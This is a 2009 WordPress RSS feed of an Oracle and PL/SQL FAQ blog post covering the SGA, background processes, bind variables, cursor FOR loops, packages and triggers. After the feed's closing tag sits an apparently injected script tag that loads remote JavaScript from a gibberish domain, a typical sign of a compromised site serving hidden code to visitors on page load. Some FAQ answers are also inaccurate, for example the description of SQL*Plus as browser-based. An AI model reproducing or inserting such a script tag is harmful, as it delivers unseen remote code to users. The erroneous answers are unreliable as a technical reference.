<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; Oracle &#8211; Frequently Asked Questions</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/oracle-frequently-asked-questions/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Oracle &#8211; Frequently Asked Questions</title>
		<link>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/</link>
		<comments>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 11:52:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[Oracle - Frequently Asked Questions]]></category>
		<category><![CDATA[Oracle PL/SQL FAQ]]></category>
		<category><![CDATA[What are the components of SGA?]]></category>
		<category><![CDATA[What is ORACLE?]]></category>
		<category><![CDATA[What is SGA?]]></category>
		<category><![CDATA[What is the function of Checkpoint (CKPT)?]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=193</guid>
		<description><![CDATA[1. What is ORACLE?
Oracle is a Relational Database Management System (RDBMS) which is used widely for business applications.
 2. What is SGA?
The System Global Area (SGA) is a shared memory region allocated by ORACLE that contains data and control information for one ORACLE instance.
 3. What is the function of Checkpoint (CKPT)?
The Checkpoint (CKPT) process is responsible for signaling DBWR at checkpoints and updating all the data files and control files of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. What is ORACLE?</strong></p>
<p style="margin: 0in 0in 0pt;">Oracle is a Relational Database Management System (RDBMS) which is used widely for business applications.</p>
<p> <strong>2. What is SGA?</strong></p>
<p style="margin: 0in 0in 0pt;">The System Global Area (SGA) is a shared memory region allocated by ORACLE that contains data and control information for one ORACLE instance.</p>
<p> <strong>3. What is the function of Checkpoint (CKPT)?</strong></p>
<p style="margin: 0in 0in 0pt;">The Checkpoint (CKPT) process is responsible for signaling DBWR at checkpoints and updating all the data files and control files of the database.</p>
<p style="margin: 0in 0in 0pt;">The CKPT is also useful to get the point in time from where to begin the recovery in case of failure.</p>
<p style="margin: 0in 0in 0pt;"> Which background process is responsible for writing the dirty buffers from the write list to the data files during a checkpoint?</p>
<p style="margin: 0in 0in 0pt;">The DBWn is usually responsible for this.</p>
<p style="margin: 0in 0in 0pt;"> What are the components of SGA? </p>
<p style="margin: 0in 0in 0pt;">The components of the SGA are Database buffers, Redo Log Buffer and the Shared Pool.</p>
<p><strong> </strong><strong> 4. What constitute an ORACLE Instance?</strong></p>
<p style="margin: 0in 0in 0pt;">SGA and ORACLE background processes together constitute an ORACLE instance.</p>
<p style="margin: 0in 0in 0pt;"> What do Database Buffers contain?</p>
<p style="margin: 0in 0in 0pt;">Database Buffers store the most recently used blocks of database data. They can also contain modified data that has not yet been permanently written to disk.</p>
<p> <strong>5. What do Redo Log Buffers contain?</strong></p>
<p style="margin: 0in 0in 0pt;">Redo Log Buffers store redo entries or a log of changes made to the database.</p>
<p> <strong> 6. What is Shared Pool?</strong></p>
<p style="margin: 0in 0in 0pt;">Shared pool is composed of two parts; Library Cache and Data Dictionary Cache.</p>
<p style="margin: 0in 0in 0pt;">The Library Cache contains the shared SQL areas, private SQL areas, PL/SQL procedures and packages, and control structures such as locks and Library Cache handles. The shared SQL area contains the parse tree and execution plan; whereas the private SQL area contains values for bind variables and runtime buffers. The data dictionary cache holds most recently used database dictionary information.</p>
<p> </p>
<p style="margin: 0in 0in 0pt;"><strong> 7. What is the default undo management mode in ORACLE? </strong></p>
<p style="margin: 0in 0in 0pt;">The default undo management mode is manual.</p>
<p> <strong>8. How can you dynamically size the SGA?</strong></p>
<p style="margin: 0in 0in 0pt;">You can do this using the Alter System command.</p>
<p>  <strong>9. What is the Multiple Block size? </strong></p>
<p style="margin: 0in 0in 0pt;">We can assign different block sizes for each table space. This is called the Multiple Block size.</p>
<p> </p>
<p style="margin: 0in 0in 0pt;"> <strong>10. Where are the compiled functions and procedures stored in memory? </strong></p>
<p style="margin: 0in 0in 0pt;">These are stored in the Library Cache.</p>
<p>  <strong>11. What is SQL*PLUS? </strong></p>
<p style="margin: 0in 0in 0pt;">It is a browser-based interface to communicate with the database.</p>
<p> <strong> 12. What are the advantages of creating clusters in ORACLE?</strong></p>
<p style="margin: 0in 0in 0pt;">It improves the efficiency of join queries and they are storage efficient.</p>
<p> <strong> 13. What are Bind Variables?</strong></p>
<p style="margin: 0in 0in 0pt;">A bind variable is a variable that you declare in a host environment. Bind variables can be used to pass run-time values, either number or character, into or out of one or more PL/SQL programs. The PL/SQL programs use bind variables as they would use any other variable. You can reference variables declared in the host or calling environment in PL/SQL statements, unless the statement is in a procedure, function, or package. This includes host language variables declared in precompiler programs, screen fields in Oracle Developer Forms applications, and iSQL*Plus bind variables.</p>
<p> <strong> 14. How to create Bind Variables?</strong></p>
<p style="margin: 0in 0in 0pt;">To declare a bind variable in the iSQL*Plus environment, use the command VARIABLE. For example, you declare a variable of type NUMBER and VARCHAR2 as follows:</p>
<p style="margin: 0in 0in 0pt;">VARIABLE return_code NUMBER</p>
<p style="margin: 0in 0in 0pt;">VARIABLE return_msg  VARCHAR2(30)</p>
<p style="margin: 0in 0in 0pt;">Both SQL and iSQL*Plus can reference the bind variable, and iSQL*Plus can display its value through the iSQL*Plus PRINT command.</p>
<p>  <strong>15. Explain few programming guidelines for PL/SQL ?</strong></p>
<p style="margin: 0in 0in 0pt;">To produce clear code and reduce maintenance when developing a PL/SQL block follow the below listed guidelines</p>
<p style="margin: 0in 0in 0pt;">-              Documenting code with comments</p>
<p style="margin: 0in 0in 0pt;">-              Developing a case convention for the code</p>
<p style="margin: 0in 0in 0pt;">-              Developing naming conventions for identifiers and other objects</p>
<p style="margin: 0in 0in 0pt;">-              Enhancing readability by indenting</p>
<p><strong> </strong><strong>16. What are the advantages of using cursors with FOR LOOPS?</strong></p>
<p style="margin: 0in 0in 0pt;">A cursor FOR loop is a shortcut because of the following reasons</p>
<p style="margin: 0in 0in 0pt;">-              the cursor is opened automatically when the for loop is encountered for the first time and fetches the first row</p>
<p style="margin: 0in 0in 0pt;">-              rows are fetched once for each iteration in the loop</p>
<p style="margin: 0in 0in 0pt;">-              The loop itself is terminated automatically at the end of the iteration where the last row is fetched.</p>
<p>  <strong>17. What is the use of NO WAIT option with SELECT&#8230;. FOR UPDATE clause?</strong></p>
<p style="margin: 0in 0in 0pt;">The optional NOWAIT keyword tells Oracle not to wait if requested rows have been locked by another user. Control is immediately returned to your program so that it can do other work before trying again to acquire the lock. If you omit the NOWAIT keyword , Oracle waits until the rows are available.</p>
<p> <strong>18. Can we use raise system defined exceptions  explicitly by issuing the RAISE statement?</strong></p>
<p style="margin: 0in 0in 0pt;">Yes, you can. For example : RAISE NO_DATA_FOUND</p>
<p>  <strong>19. Can we handle the exception raised by RAISE_APPLICATION_ERROR?</strong></p>
<p style="margin: 0in 0in 0pt;">Yes. For example, you can write &#8220;WHEN OTHERS&#8221; exception handler, and handler for this.</p>
<p> <strong>20. Can we assign default values to all modes of parameters in a subprogram?</strong></p>
<p style="margin: 0in 0in 0pt;">You can assign default values only to parameters of the IN mode. OUT and IN OUT parameters are not permitted to have default values.</p>
<p>  <strong>21. How Procedures are different from Functions?</strong></p>
<p style="margin: 0in 0in 0pt;">You create a procedure to store a series of actions for later execution. A procedure can contain zero or more parameters that can be transferred to and from the calling environment, but a procedure does not have to return a value.</p>
<p style="margin: 0in 0in 0pt;">You create a function when you want to compute a value, which must be returned to the calling environment. A function can contain zero or more parameters that are transferred from the calling environment. Functions should return only a single value, and the value is returned through a RETURN statement. Functions used in SQL statements cannot have OUT or IN OUT mode parameters.</p>
<p>  <strong>22. What is the use of SHOW ERRORS command?</strong></p>
<p style="margin: 0in 0in 0pt;">SHOW ERRORS command is used  at the SQL prompt to obtain compilation errors for the last object you compiled.</p>
<p style="margin: 0in 0in 0pt;">You can also use the command with a specific program unit. The syntax is as follows:</p>
<p style="margin: 0in 0in 0pt;">SHOW ERRORS [{FUNCTION|PROCEDURE|PACKAGE|PACKAGE BODY|TRIGGER|VIEW} [schema.]name]</p>
<p style="margin: 0in 0in 0pt;">Example : SHOW ERRORS PROCEDURE p1</p>
<p style="margin: 0in 0in 0pt;">Using the SHOW ERRORS command, you can view only the compilation errors that are generated by the latest statement that is used to create a subprogram. The USER_ERRORS data dictionary view stores all the compilation errors generated previously while creating subprograms.</p>
<p><strong> </strong><strong> 23. How to drop one member of a package?</strong></p>
<p style="margin: 0in 0in 0pt;">You cannot drop members of a package using DROP command. When you drop the package, all the members of the package are automatically dropped. To drop or add any members of the package, rewrite the whole package again.</p>
<p><strong> </strong><strong> 24. What will happen to the dependent constructs of a package ,if we change the package specification?</strong></p>
<p style="margin: 0in 0in 0pt;">Changes to the package body do not require recompilation of dependent constructs, whereas changes to the package specification require recompilation of every stored subprogram that references the package. To reduce the need for recompiling when code is changed, place as few constructs as possible in a package specification.</p>
<p>  <strong>25. Explain the firing sequence for a trigger on a table.</strong></p>
<p style="margin: 0in 0in 0pt;">The sequence is as below :</p>
<p>a.            Before Statement Trigger</p>
<p>b.            Before Row Trigger</p>
<p>c.             After row trigger</p>
<p>d.            After statement Trigger</p>
<p>  <strong>26. Can we write INSTEAD OF triggers on tables?</strong></p>
<p style="margin: 0in 0in 0pt;">No, it is written only on views</p>
<p><strong> </strong><strong> 27. What will happen to triggers when the table on which the trigger is written?</strong></p>
<p style="margin: 0in 0in 0pt;">All triggers on a table are automatically dropped when the  table is dropped.</p>
<p style="margin: 0in 0in 0pt;"> </p>
<p style="margin: 0in 0in 0pt;"> </p>
<p style="margin: 0in 0in 0pt;"> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>